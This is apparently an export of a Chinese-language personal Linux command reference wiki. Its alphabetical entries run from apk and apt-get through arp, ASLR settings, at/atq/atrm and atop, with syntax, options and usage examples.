
!! 升级

:<div>


upgrade命令升级系统已安装的所以软件包(一般包括内核),当然也可指定仅升级部分软件包(通过-u或–upgrade选择指定)。

```bash
apk update # 更新最新本地镜像源
apk upgrade # 升级软件
apk add --upgrade busybox # 指定升级部分软件包
```

</div>

!! 搜索

:<div>


```bash
apk search # 查找所以可用软件包
apk search -v # 查找所以可用软件包及其描述内容
apk search -v 'acf*' # 通过软件包名称查找软件包
apk search -v -d 'docker' # 通过描述文件查找特定的软件包
```

</div>

!! 查看包信息

:<div>


info命令用于显示软件包的信息。

```bash
apk info # 列出所有已安装的软件包
apk info -a zlib # 显示完整的软件包信息
apk info --who-owns /sbin/lbu # 显示指定文件属于的包
```

</div>

!! 笔记

:<div>


还是蛮喜欢 alpine 的,简单纯粹

```bash
apk add iproute2 # ss vs netstat
ss -ptl
apk add drill # drill vs nslookup&dig

crond # 开启 cron 服务
crontab -l -e

apk add xxx
apk search -v xxx
apk info -a xxx
apk info
echo -e "http://mirrors.aliyun.com/alpine/v3.6/main\nhttp://mirrors.aliyun.com/alpine/v3.6/community" > /etc/apk/repositories
apk update

# storage
ibu # alpine local backup

# network
echo "shortname" > /etc/hostname
hostname -F /etc/hostname
/etc/hosts
/etc/resolv.conf # conig DNS
modprobe ipv6 # enable ipv6
echo "ipv6" >> /etc/modules
iface # config interface
apk add iptables ip6tables iptables-doc
/etc/init.d/networking restart # activate change
apke add iputils # IPv6 traceroute
traceroute6 ipv6.google.com
awall # alpine wall
# setup a openvpn server

# post-install
/etc/apk/repositories
apk add cherokee --update-cache --repository http://dl-3.alpinelinux.org/alpine/edge/testing/ --allow-untrusted
apk search -v --description 'NTP' # show description and search from description
apk info -a zlib
apk info -vv|sort
apk info -r -R # require / depency
apk version -v -l '<' # show available updates
apk upgrade -U -a
apk add -u xxx # update xxx

/etc/runlevels # runlevel
apk add openrc # use openrc for init system
rc-update add xxx # set to start on
rc-service xxx start # equal -> /etc/init.d/xxx start
rc-status

adduser xxx
passwd xxx

apk add ansible # server
ssh-keygen
/etc/ansible/hosts
apk add python # node
ssh-copy-id

apk add man man-pages mdocml-apropos less less-doc
export PAGER=less
/etc/rc.conf # /etc/rc.conf -> funny character
apk add bash bash-doc bash-completion # bash
apk add util-linux pciutils usbutils coreutils binutils findutils grep # grep / awk
apk add build-base gcc abuild binutils binutils-doc gcc-doc # compile
apk add cmake cmake-doc extra-cmake-modules extra-cmake-modules-doc
apk add ccache ccache-doc

apk add docker # docker
rc-update add docker boot
rc-service docker start
apk add py-pip
pip install docker-compose
ln -s /usr/bin/docker-compose /usr/bin/doc

# application
apk add openssh # ssh
rc-update add sshd
/etc/init.d/sshd start
/etc/sshd_config
apk add dropbear # another openssh implementation
```
</div>
!!简介
:<div>
apropos
===

在 whatis 数据库中查找字符串

</div>

!! 补充说明

:<div>


"apropos命令" 在一些特定的包含系统命令的简短描述的数据库文件里查找关键字,然后把结果送到标准输出。 

如果你不知道完成某个特定任务所需要命令的名称,可以使用一个关键字通过Linux apropos实用程序来搜索它。该实用程序可以搜索关键字并且显示所有包含匹配项的man页面的简短描述。另外,使用man实用程序和-k(关键字)选项,可以得到和用Linux apropos实用程序相同的结果(实际上是相同的命令)。

</div>

!! 语法  

:<div>


```
apropos [-dalhvV] -e|-[w|-r] [-s section] [-m system[,...]] [-M path] [-L locale] -C [file] keyword ...
```

</div>

!! 选项  

:<div>


```
-d, --debug:输出调试信息。
-v, --verbose:输出详细的警告信息。
-r, -- regex:将每个keyword作为正则表达式解释。这是默认行为。每个keyword将匹配手册页和描述。
-w, --wildcard:将每个keyword作为shell样式的通配符解释。
-e, --exact:每个keyword将精确匹配手册页名字和描述。
-a, --and:只显示匹配所有keyword的手册页和描述。默认显示匹配任何keyword的项。
-l, --long:不根据终端宽度缩减输出。
-s section, --section section:只查找指定的手册section。
-m system[,...], --systems=system[,...]:用于查找其它操作系统的手册页。
-M path, --manpath=path:指定从其它以冒号分隔的手册页层次查找。默认使用$MANPATH环境变量。这个选项覆盖$MANPATH的内容。
-L locale, --locale=locale:apropos调用C函数setlocale来得到当前本地化信息,包括$LC_MESSAGE和$LANG。使用该选项提供一个locale字符串来临时更改本地化信息。
-C file, --config-file=file:使用这个用户配置文件而不是默认的~/.manpath。
-h, --help:打印帮助信息并退出。
-V, --version:打印版本信息并退出。
```

</div>

!! 返回值  

:<div>


返回0表示成功,1表示用法、语法或配置文件错误,2表示操作错误,16表示没有找到匹配的内容。

</div>

!! 实例  

:<div>


```
[root@localhost ~]# man -k who
at.allow [at]        (5)  - determine who can submit jobs via at or batch
at.deny [at]         (5)  - determine who can submit jobs via at or batch
jwhois               (1)  - client for the whois service
jwhois              (rpm) - Internet whois/nicname client.
Net::LDAP::Extension::whoami (3pm)  - LDAP Who am I? Operation
w                    (1)  - Show who is logged on and what they are doing
who                  (1p)  - display who is on the system
who                  (1)  - show who is logged on
whoami               (1)  - print effective userid

[root@localhost ~]# apropos who
at.allow [at]        (5)  - determine who can submit jobs via at or batch
at.deny [at]         (5)  - determine who can submit jobs via at or batch
jwhois               (1)  - client for the whois service
jwhois              (rpm) - Internet whois/nicname client.
Net::LDAP::Extension::WhoAmI (3pm)  - LDAP Who am I? Operation
w                    (1)  - Show who is logged on and what they are doing
who                  (1p)  - display who is on the system
who                  (1)  - show who is logged on
whoami               (1)  - print effective userid
```

查找手册页名字和描述中包含emacs和vi的手册页:

```
apropos -a emacs vi
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
apt-get
===

Debian Linux发行版中的APT软件包管理工具

</div>

!! 补充说明

:<div>


"apt-get命令" 是Debian Linux发行版中的APT软件包管理工具。所有基于Debian的发行都使用这个包管理系统。deb包可以把一个应用的文件包在一起,大体就如同Windows上的安装文件。

</div>

!! 语法  

:<div>


```
apt-get(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-c:指定配置文件。
```

</div>

!! 参数  

:<div>


*   管理指令:对APT软件包的管理操作;
*   软件包:指定要操纵的软件包。

</div>

!! 实例  

:<div>


使用apt-get命令的第一步就是引入必需的软件库,Debian的软件库也就是所有Debian软件包的集合,它们存在互联网上的一些公共站点上。把它们的地址加入,apt-get就能搜索到我们想要的软件。/etc/apt/sources.list是存放这些地址列表的配置文件,其格式如下:

```
deb web或[ftp地址] [发行版名字] main/contrib/non-[free]
```

我们常用的Ubuntu就是一个基于Debian的发行,我们使用apt-get命令获取这个列表,以下是我整理的常用命令:

在修改`/etc/apt/sources.list`或者`/etc/apt/preferences`之后运行该命令。此外您需要定期运行这一命令以确保您的软件包列表是最新的:

```
apt-get update
```

安装一个新软件包:

```
apt-get install packagename
```

卸载一个已安装的软件包(保留配置文件):

```
apt-get remove packagename
```

卸载一个已安装的软件包(删除配置文件):

```
apt-get –purge remove packagename
```

会把已装或已卸的软件都备份在硬盘上,所以如果需要空间的话,可以让这个命令来删除你已经删掉的软件:

```
apt-get autoclean apt
```

这个命令会把安装的软件的备份也删除,不过这样不会影响软件的使用的:

```
apt-get clean
```

更新所有已安装的软件包:

```
apt-get upgrade
```

将系统升级到新版本:

```
apt-get dist-upgrade
```

定期运行这个命令来清除那些已经卸载的软件包的.deb文件。通过这种方式,您可以释放大量的磁盘空间。如果您的需求十分迫切,可以使用`apt-get clean`以释放更多空间。这个命令会将已安装软件包裹的.deb文件一并删除。大多数情况下您不会再用到这些.debs文件,因此如果您为磁盘空间不足 而感到焦头烂额,这个办法也许值得一试:

```
apt-get autoclean
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
apt-key
===

管理Debian Linux系统中的软件包密钥

</div>

!! 补充说明

:<div>


"apt-key命令" 用于管理Debian Linux系统中的软件包密钥。每个发布的deb包,都是通过密钥认证的,apt-key用来管理密钥。

</div>

!! 语法  

:<div>


```
apt-key(参数)
```

</div>

!! 参数  

:<div>


操作指令:APT密钥操作指令。

</div>

!! 实例  

:<div>


```
apt-key list          #列出已保存在系统中key。
apt-key add keyname   #把下载的key添加到本地trusted数据库中。
apt-key del keyname   #从本地trusted数据库删除key。
apt-key update        #更新本地trusted数据库,删除过期没用的key。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
apt-sortpkgs
===

Debian Linux下对软件包索引文件进行排序的工具

</div>

!! 补充说明

:<div>


"apt-sortpkgs命令" 是Debian Linux下对软件包索引文件进行排序的简单工具。

</div>

!! 语法  

:<div>


```
apt-sortpkgs(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-s:使用源索引字段排序;
-h:显示帮助信息。
```

</div>

!! 参数  

:<div>


文件:指定要排序的包含debian包信息的索引文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
aptitude
===

Debian Linux系统中软件包管理工具

</div>

!! 补充说明

:<div>


"aptitude命令" 与apt-get命令一样,都是Debian Linux及其衍生系统中功能极其强大的包管理工具。与apt-get不同的是,aptitude在处理依赖问题上更佳一些。举例来说,aptitude在删除一个包时,会同时删除本身所依赖的包。这样,系统中不会残留无用的包,整个系统更为干净。它通过文本操作菜单和命令两种方式管理软件包。

</div>

!! 语法  

:<div>


```
aptitude(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-h:显示帮助信息;
-d:仅下载软件包,不执行安装操作;
-P:每一步操作都要求确认;
-y:所有问题都回答“yes”;
-v:显示附加信息;
-u:启动时下载新的软件包列表。
```

</div>

!! 参数  

:<div>


操作命令:用户管理软件包的操作命令。

</div>

!! 实例  

:<div>


以下是我总结的一些常用aptitude命令,仅供参考:

```
aptitude update            #更新可用的包列表
aptitude upgrade           #升级可用的包
aptitude dist-upgrade      #将系统升级到新的发行版
aptitude install pkgname   #安装包
aptitude remove pkgname    #删除包
aptitude purge pkgname     #删除包及其配置文件
aptitude search string     #搜索包
aptitude show pkgname      #显示包的详细信息
aptitude clean             #删除下载的包文件
aptitude autoclean         #仅删除过期的包文件
```

当然,你也可以在文本界面模式中使用 aptitude。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
ar
===

建立或修改备存文件,或是从备存文件中抽取文件

</div>

!! 补充说明

:<div>


"ar命令" 是一个建立或修改备存文件,或是从备存文件中抽取文件的工具,ar可让您集合许多文件,成为单一的备存文件。在备存文件中,所有成员文件皆保有原来的属性与权限

</div>

!! 语法  

:<div>


```
ab(选项)(参数)
Usage: ar [emulation options] [-]{dmpqrstx}[abcDfilMNoPsSTuvV] [--plugin <name>] [member-name] [count] archive-file file...
       ar -M [<mri-脚本]
```

</div>

!! 选项  

:<div>



```
d            - 从归档文件中删除文件
m[ab]        - 在归档文件中移动文件
p            - 打印在归档文件中找到的文件
q[f]         - 将文件快速追加到归档文件中
r[ab][f][u]  - 替换归档文件中已有的文件或加入新文件
s            - act as ranlib
t            - 显示归档文件的内容
x[o]         - 从归档文件中分解文件
特定命令修饰符:
[a]          - 将文件置于 [成员名] 之后
[b]          - 将文件置于 [成员名] 之前 (于 [i] 相同)
[D]          - use zero for timestamps and uids/gids
[U]          - use actual timestamps and uids/gids (default)
[N]          - use instance [count] of name
[f]          - truncate inserted file names
[P]          - 在匹配时使用完整的路径名
[o]          - 保留原来的日期
[u]          - 只替换比当前归档内容更新的文件
通用修饰符:
[c]          - 不在必须创建库的时候给出警告
[s]          - 创建归档索引 (cf. ranlib)
[S]          - 不要创建符号表
[T]          - 做一个压缩档案
[v]          - 输出较多信息
[V]          - 显示版本号
@<file>      - 从<file>读取选项
--target=BFDNAME - 将目标对象格式指定为BFDNAME
```

选项参数 

```
--plugin <p> - load the specified plugin
```

ar:支持的目标: elf64-x86-64 elf32-i386 elf32-x86-64 a.out-i386-linux pei-i386 pei-x86-64 elf64-l1om elf64-k1om elf64-little elf64-big elf32-little elf32-big plugin srec symbolsrec verilog tekhex binary ihex

</div>

!! 实例

:<div>


打包文件

```
[root@localhost ~]# ls   //显示当前目录文件   
a.c	b.c d.c   install.log	  qte
anaconda-ks.cfg c.c Desktop 

[root@localhost ~]# ar rv one.bak a.c b.c //打包 a.c b.c文件 
ar: 正在创建 one.bak
a - a.c
a - b.c
```

打包多个文件

```
[root@localhost ~]# ar rv two.bak *.c  //打包以.c结尾的文件  
ar: 正在创建 two.bak
a - a.c
a - b.c
a - c.c
a - d.c
```

显示打包文件的内容

```
[root@localhost ~]# ar t two.bak    
a.c
b.c
c.c
d.c
```

删除打包文件的成员文件

```
[root@localhost ~]# ar d two.bak a.c b.c c.c  
[root@localhost ~]# ar t two.bak       
d.c
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
''arch''命令用于显示当前主机的硬件架构类型。arch命令等同于命令`name -m`在当前的Linux系统下,arch命令输出结果有:`i386、i486、i586、alpha、sparc、arm、m68k、mips、ppc、i686`等


!实例

```bash
# arch
x86_64
```
!!简介
:<div>
arj
===

用于创建和管理.arj压缩包

</div>

!! 补充说明

:<div>


"arj命令" 是“.arj”格式的压缩文件的管理器,用于创建和管理“.arj”压缩包。

</div>

!! 语法  

:<div>


```
arj(参数)
```

</div>

!! 参数  

:<div>


*   操作指令:对“.arj”压缩包执行的操作指令;
*   压缩包名称:指定要操作的arj压缩包名称。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
''arp''命令用于操作主机的arp缓冲区,它可以显示arp缓冲区中的所有条目、删除指定的条目或者添加静态的ip地址与MAC地址对应关系。

!选项
:<pre>
-a<主机>:显示arp缓冲区的所有条目;
-H<地址类型>:指定arp指令使用的地址类型;
-d<主机>:从arp缓冲区中删除指定主机的arp条目;
-D:使用指定接口的硬件地址;
-e:以Linux的显示风格显示arp缓冲区中的条目;
-i<接口>:指定要操作arp缓冲区的网络接口;
-s<主机><MAC地址>:设置指定的主机的IP地址与MAC地址的静态映射;
-n:以数字方式显示arp缓冲区中的条目;
-v:显示详细的arp缓冲区条目,包括缓冲区条目的统计信息;
-f<文件>:设置主机的IP地址与MAC地址的静态映射。

</pre>
!EXP
:<pre>

```bash
# arp

# Show and manipulate your system's ARP cache.

# Show current arp table:
  arp -a

# 显示详细信息
 arp -v 
# Clear the entire cache:
  sudo arp -a -d

# Delete a specific entry:
  arp -d address

# Create an entry:
  arp -s address mac address
```
</pre>
;arp类型
:free arp
:[[交换机配置静态arp]]

;cmd
:[[arp]]
:[[arping]]

---

!1  ARP简介
!!1.1  ARP作用
ARP(Address Resolution Protocol,地址解析协议)是将IP地址解析为以太网MAC地址(或称物理地址)的协议。

在局域网中,当主机或其它网络设备有数据要发送给另一个主机或设备时,它必须知道对方的网络层地址(即IP地址)。但是仅仅有IP地址是不够的,因为IP数据报文必须封装成帧才能通过物理网络发送,因此发送站还必须有接收站的物理地址,所以需要一个从IP地址到物理地址的映射。APR就是实现这个功能的协议。

!!1.2  ARP报文结构
ARP报文分为ARP请求和ARP应答报文,报文格式如图1-1所示。

图1-1 ARP报文结构


[img[http://www.h3c.com/cn/res/201112/13/20111213_1299639_image001_734945_30005_0.png]]
 

·              硬件类型:表示硬件地址的类型。它的值为1表示以太网地址;

·              协议类型:表示要映射的协议地址类型。它的值为0x0800即表示IP地址;

·              硬件地址长度和协议地址长度分别指出硬件地址和协议地址的长度,以字节为单位。对于以太网上IP地址的ARP请求或应答来说,它们的值分别为6和4;

·              操作类型(OP):1表示ARP请求,2表示ARP应答;

·              发送端MAC地址:发送方设备的硬件地址;

·              发送端IP地址:发送方设备的IP地址;

·              目标MAC地址:接收方设备的硬件地址。

·              目标IP地址:接收方设备的IP地址。

!!1.3  ARP地址解析过程
;假设主机A和B在同一个网段,主机A要向主机B发送信息。如图所示,具体的地址解析过程如下:

:(1)      主机A首先查看自己的ARP表,确定其中是否包含有主机B对应的ARP表项。如果找到了对应的MAC地址,则主机A直接利用ARP表中的MAC地址,对IP数据包进行帧封装,并将数据包发送给主机B。

:(2)      如果主机A在ARP表中找不到对应的MAC地址,则将缓存该数据报文,然后以广播方式发送一个ARP请求报文。ARP请求报文中的发送端IP地址和发送端MAC地址为主机A的IP地址和MAC地址,目标IP地址和目标MAC地址为主机B的IP地址和全0的MAC地址。由于ARP请求报文以广播方式发送,该网段上的所有主机都可以接收到该请求,但只有被请求的主机(即主机B)会对该请求进行处理。

:(3)      主机B比较自己的IP地址和ARP请求报文中的目标IP地址,当两者相同时进行如下处理:将ARP请求报文中的发送端(即主机A)的IP地址和MAC地址存入自己的ARP表中。之后以单播方式发送ARP响应报文给主机A,其中包含了自己的MAC地址。

:(4)      主机A收到ARP响应报文后,将主机B的MAC地址加入到自己的ARP表中以用于后续报文的转发,同时将IP数据包进行封装后发送出去。

[img[http://www.h3c.com/cn/res/201112/13/20111213_1299640_image002_734945_30005_0.png]]

;当主机A和主机B不在同一网段时,
:主机A就会先向网关发出ARP请求,ARP请求报文中的目标IP地址为网关的IP地址。当主机A从收到的响应报文中获得网关的MAC地址后,将报文封装并发给网关。如果网关没有主机B的ARP表项,网关会广播ARP请求,目标IP地址为主机B的IP地址,当网关从收到的响应报文中获得主机B的MAC地址后,就可以将报文发给主机B;如果网关已经有主机B的ARP表项,网关直接把报文发给主机B。
!!简介
:<div>
arpd
===

收集免费ARP信息

</div>

!! 补充说明

:<div>


"arpd命令" 是用来收集免费arp信息的一个守护进程,它将收集到的信息保存在磁盘上或者在需要时,提供给内核用户用于避免多余广播。

</div>

!! 语法  

:<div>


```
arpd(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-l:将arp数据库输出到标准输出设备显示并退出;
-f:指定读取和加载arpd数据库的文本文件,文件的格式与“-l”输出信息类似;
-b:指定arpd数据库文件,默认的位置为“/var/lib/arpd.db”;
-a:指定目标被认为死掉前查询的次数;
-k:禁止通过内核发送广播查询;
-n:设定缓冲失效时间。
```

</div>

!! 参数  

:<div>


网络接口:指定网络接口。

</div>

!! 实例  

:<div>


启动arpd进程:

```
arpd -b /var/tmp/arpd.db
```

运行一段时间后,查看结果:

```
arpd -l -b /var/tmp/arpd.db
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
''arping''命令是用于发送arp请求到一个相邻主机的工具,arping使用arp数据包,通过ping命令检查设备上的硬件地址。能够测试一个ip地址是否是在网络上已经被使用,并能够获取更多设备信息。功能类似于ping。

;选项
:<pre>
-b:用于发送以太网广播帧(FFFFFFFFFFFF)。arping一开始使用广播地址,在收到响应后就使用unicast地址。
-q:quiet output不显示任何信息;
-f:表示在收到第一个响应报文后就退出;
-w timeout:设定一个超时时间,单位是秒。如果到了指定时间,arping还没到完全收到响应则退出;
-c count:表示发送指定数量的ARP请求数据包后就停止。如果指定了deadline选项,则arping会等待相同数量的arp响应包,直到超时为止;
-s source:设定arping发送的arp数据包中的SPA字段的值。如果为空,则按下面处理,如果是DAD模式(冲突地址探测),则设置为0.0.0.0,如果是Unsolicited ARP模式(Gratutious ARP)则设置为目标地址,否则从路由表得出;
-I interface:设置ping使用的网络接口。
</pre>

;Tips
:<pre>

01 . 检查相同mac主机
</pre>
!!简介
:<div>
arptables
===

管理ARP包过滤规则表

</div>

!! 补充说明

:<div>


"arptables命令" 用来设置、维护和检查Linux内核中的arp包过滤规则表。

</div>

!! 语法  

:<div>


```
arptables(选项)
```

</div>

!! 选项  

:<div>


```
-A:向规则链中追加规则;
-D:从指定的链中删除规则;
-l:向规则链中插入一条新的规则;
-R:替换指定规则;
-P:设置规则链的默认策略;
-F:刷新指定规则链,将其中的所有规则链删除,但是不改变规则链的默认策略;
-Z:将规则链计数器清零;
-L:显示规则链中的规则列表;
-X:删除指定的空用户自定义规则链;
-h:显示指令帮助信息;
-j:指定满足规则的添加时的目标;
-s:指定要匹配ARP包的源ip地址;
-d:指定要匹配ARP包的目的IP地址。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
arpwatch
===

监听网络上ARP的记录

</div>

!! 补充说明

:<div>


"arpwatch命令" 用来监听网络上arp的记录。

</div>

!! 语法  

:<div>


```
arpwatch(选项)
```

</div>

!! 选项  

:<div>


```
-d:启动排错模式;
-f<记录文件>:设置存储ARP记录的文件,预设为/var/arpwatch/arp.dat;
-i<接口>:指定监听ARP的接口,预设的接口为eth0;
-r<记录文件>:从指定的文件中读取ARP记录,而不是从网络上监听。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
as
===

汇编语言编译器

</div>

!! 补充说明

:<div>


"as命令" GNU组织推出的一款汇编语言编译器,它支持多种不同类型的处理器。

</div>

!! 语法  

:<div>


```
as(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-ac:忽略失败条件;
-ad:忽略调试指令;
-ah:包括高级源;
-al:包括装配;
-am:包括宏扩展;
-an:忽略形式处理;
-as:包括符号;
=file:设置列出文件的名字;
--alternate:以交互宏模式开始;
-f:跳过空白和注释预处理;
-g:产生调试信息;
-J:对于有符号溢出不显示警告信息;
-L:在符号表中保留本地符号;
-o:指定要生成的目标文件;
--statistics:打印汇编所用的最大空间和总时间。
```

</div>

!! 参数  

:<div>


汇编文件:指定要汇编的源文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```
    ASLR(Address space layout randomization)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。据研究表明ASLR可以有效的降低缓冲区溢出攻击的成功率,如今Linux、FreeBSD、Windows等主流操作系统都已采用了该技术。
```

```bash
# 查看是否启用
$ cat /proc/sys/kernel/randomize_va_space
2
$ sysctl -a --pattern randomize
kernel.randomize_va_space = 2
```
```bash
# 键值描述
0 = Disabled
1 = Conservative Randomization
2 = Full Randomization
```

```bash
#disable
sudo sysctl -w kernel.randomize_va_space=0    <== disable

#enable
sudo sysctl -w kernel.randomize_va_space=2    <== enable
```
* 时间格式
** now + count time-units
*** today
*** tomorrow
*** minutes
*** hours
*** days
*** weeks
** time-of-day
*** AM
*** PM
*** midnight,
*** noon
*** teatime (4pm)
** YEAR
*** MMDD[CC]YY
*** MM/DD/[CC]YY
*** DD.MM.[CC]YY
*** [CC]YY-MM-DD
* service。
  ** service atd start     `启动服务`
  **service atd  stop     `关闭服务`
  **service atd restart   `重启服务`
  **service atd reload   `重新载入配置`
  **service atd status   `查看服务状态` 
* at
** options<pre>

OPTIONS
       -V      prints the version number to standard error and exit successfully.

       -q queue
               uses  the specified queue.  A queue designation consists of a single letter; valid queue designations range from a to
               z and A to Z.  The a queue is the default for at and the b queue for batch.  Queues  with  higher  letters  run  with
               increased niceness.  The special queue "=" is reserved for jobs which are currently running.

               If  a  job is submitted to a queue designated with an uppercase letter, the job is treated as if it were submitted to
               batch at the time of the job.  Once the time is reached, the batch processing rules  with  respect  to  load  average
               apply.  If atq is given a specific queue, it will only show jobs pending in that queue.

       -m      Send mail to the user when the job has completed even if there was no output.

       -M      Never send mail to the user.

       -f file Reads the job from file rather than standard input.

       -t time run the job at time, given in the format [[CC]YY]MMDDhhmm[.ss]

       -l      Is an alias for atq.

       -r      Is an alias for atrm.

       -d      Is an alias for atrm.

       -b      is an alias for batch.

       -v      Shows the time the job will be executed before reading the job.

               Times displayed will be in the format "Thu Feb 20 14:50:00 1997".

       -c      cats the jobs listed on the command line to standard output.

</pre>
** Files<pre>

FILES
       /var/spool/at
       /var/spool/at/spool
       /proc/loadavg
       /var/run/utmp
       /etc/at.allow
       /etc/at.deny
</pre>


* EXP<pre>

```bash

# To schedule a one time task
at {time}
{command 0}
{command 1}
Ctrl-d

# {time} can be either
now | midnight | noon | teatime (4pm)
HH:MM
now + N {minutes | hours | days | weeks}
MM/DD/YY

# To list pending jobs
atq

# To remove a job (use id from atq)
atrm {id}

[root@qs02 ~]# date
Tue Aug 21 19:47:32 CST 2018

[root@qs02 ~]# at 09:00
job 10 at Wed Aug 22 09:00:00 2018

[root@qs02 ~]# at 09:00 AM
job 11 at Wed Aug 22 09:00:00 2018

[root@qs02 ~]# at 17:00 tomorrow
job 12 at Wed Aug 22 17:00:00 2018

[root@qs02 ~]# at 01:01 AM 010119
job 7 at Tue Jan  1 01:01:00 2019

[root@qs02 ~]# at 01:01 PM 010119
job 8 at Tue Jan  1 13:01:00 2019

[root@qs02 ~]# at noon 010119 +3 minutes
job 9 at Tue Jan  1 12:03:00 2019

[root@qs02 ~]# atq
10	Wed Aug 22 09:00:00 2018 a root
6	Tue Jan  1 19:40:00 2019 a root
8	Tue Jan  1 13:01:00 2019 a root
12	Wed Aug 22 17:00:00 2018 a root
7	Tue Jan  1 01:01:00 2019 a root
9	Tue Jan  1 12:03:00 2019 a root
```
</pre>

!!简介
:<div>
atop
===

监控Linux系统资源与进程的工具

</div>

!! 补充说明

:<div>


[非内部程序,需要安装]它以一定的频率记录系统的运行状态,所采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况,并能以日志文件的方式保存在磁盘中,服务器出现问题后,我们可获取相应的atop日志文件进行分析。atop是一款开源软件,我们可以从这里获得其源码和rpm安装包。

</div>

!! 语法  

:<div>


```
atop(选项)(参数)
```

</div>

!! 说明  

:<div>


"ATOP列":该列显示了主机名、信息采样日期和时间点

"PRC列":该列显示进程整体运行情况

- sys、usr字段分别指示进程在内核态和用户态的运行时间
- #proc字段指示进程总数
- #zombie字段指示僵死进程的数量
- #exit字段指示atop采样周期期间退出的进程数量


"CPU列":该列显示CPU整体(即多核CPU作为一个整体CPU资源)的使用情况,我们知道CPU可被用于执行进程、处理中断,也可处于空闲状态(空闲状态分两种,一种是活动进程等待磁盘IO导致CPU空闲,另一种是完全空闲)

- sys、usr字段指示CPU被用于处理进程时,进程在内核态、用户态所占CPU的时间比例
- irq字段指示CPU被用于处理中断的时间比例
- idle字段指示CPU处在完全空闲状态的时间比例
- wait字段指示CPU处在“进程等待磁盘IO导致CPU空闲”状态的时间比例

CPU列各个字段指示值相加结果为N00%,其中N为cpu核数。

cpu列:该列显示某一核cpu的使用情况,各字段含义可参照CPU列,各字段值相加结果为100%

"CPL列":该列显示CPU负载情况

- avg1、avg5和avg15字段:过去1分钟、5分钟和15分钟内运行队列中的平均进程数量
- csw字段指示上下文交换次数
- intr字段指示中断发生次数

"MEM列":该列指示内存的使用情况

- tot字段指示物理内存总量
- free字段指示空闲内存的大小
- cache字段指示用于页缓存的内存大小
- buff字段指示用于文件缓存的内存大小
- slab字段指示系统内核占用的内存大小

"SWP列":该列指示交换空间的使用情况

- tot字段指示交换区总量
- free字段指示空闲交换空间大小

"PAG列":该列指示虚拟内存分页情况

swin、swout字段:换入和换出内存页数

"DSK列":该列指示磁盘使用情况,每一个磁盘设备对应一列,如果有sdb设备,那么增多一列DSK信息

- sda字段:磁盘设备标识
- busy字段:磁盘忙时比例
- read、write字段:读、写请求数量

"NET列":多列NET展示了网络状况,包括传输层(TCP和UDP)、IP层以及各活动的网口信息

- XXXi  字段指示各层或活动网口收包数目
- XXXo 字段指示各层或活动网口发包数目


</div>

!! atop日志

:<div>


每个时间点采样页面组合起来就形成了一个atop日志文件,我们可以使用"atop -r XXX"命令对日志文件进行查看。那以什么形式保存atop日志文件呢?

对于atop日志文件的保存方式,我们可以这样:

- 每天保存一个atop日志文件,该日志文件记录当天信息
- 日志文件以"atop_YYYYMMDD"的方式命名
- 设定日志失效期限,自动删除一段时间前的日志文件

其实atop开发者已经提供了以上日志保存方式,相应的atop.daily脚本可以在源码目录下找到。在atop.daily脚本中,我们可以通过修改INTERVAL变量改变atop信息采样周期(默认为10分钟);通过修改以下命令中的数值改变日志保存天数(默认为28天):

```
(sleep 3; find $LOGPATH -name 'atop_*' -mtime +28 -exec rm {} \; )& 
```

最后,我们修改cron文件,每天凌晨执行atop.daily脚本:

```
0 0 * * * root /etc/cron.daily/atop.daily
```

</div>

!! 相关资料

:<div>


- [官方手册](http://www.atoptool.nl/download/man_atop-1.pdf)

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
atq
===

列出当前用户的at任务列表

</div>

!! 补充说明

:<div>


"atq命令" 显示系统中待执行的任务列表,也就是列出当前用户的at任务列表。

</div>

!! 语法  

:<div>


```
atq(选项)
```

</div>

!! 选项  

:<div>


```
-V:显示版本号;
-q:查询指定队列的任务。
```

</div>

!! 实例  

:<div>


```
at now + 10 minutes
at> echo 1111
at> <eot>
job 3 at Fri Apr 26 12:56:00 2013

atq
3       Fri Apr 26 12:56:00 2013 a root
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
atrm
===

删除待执行任务队列中的指定任务

</div>

!! 补充说明

:<div>


"atrm命令" 用于删除待执行任务队列中的指定任务。

</div>

!! 语法  

:<div>


```
atrm(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-V:显示版本号。
```

</div>

!! 参数  

:<div>


任务号:指定待执行队列中要删除的任务。

</div>

!! 实例  

:<div>


删除已经排队的任务

```
atq        //显示当前已经设置的任务
2 Mon May 17 08:00:00 2010 a root
1 Sat May 15 17:00:00 2010 a root

atrm 2     //删除任务2
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
*内建函数
:<pre>

|!函数名|!描述|
|index(string,search_string)        |返回search_string在string中出现的位置            |
|sub(regex,replacement_str,string)  |将正则匹配到的第一处内容替换为replacement_str;   |
|match(regex,string)                |检查正则表达式是否能够匹配字符串;               |
|length(string)                     |返回字符串长度                                   |
</pre>
!!简介
:<div>
axel
===

多线程下载工具

</div>

!! 补充说明

:<div>


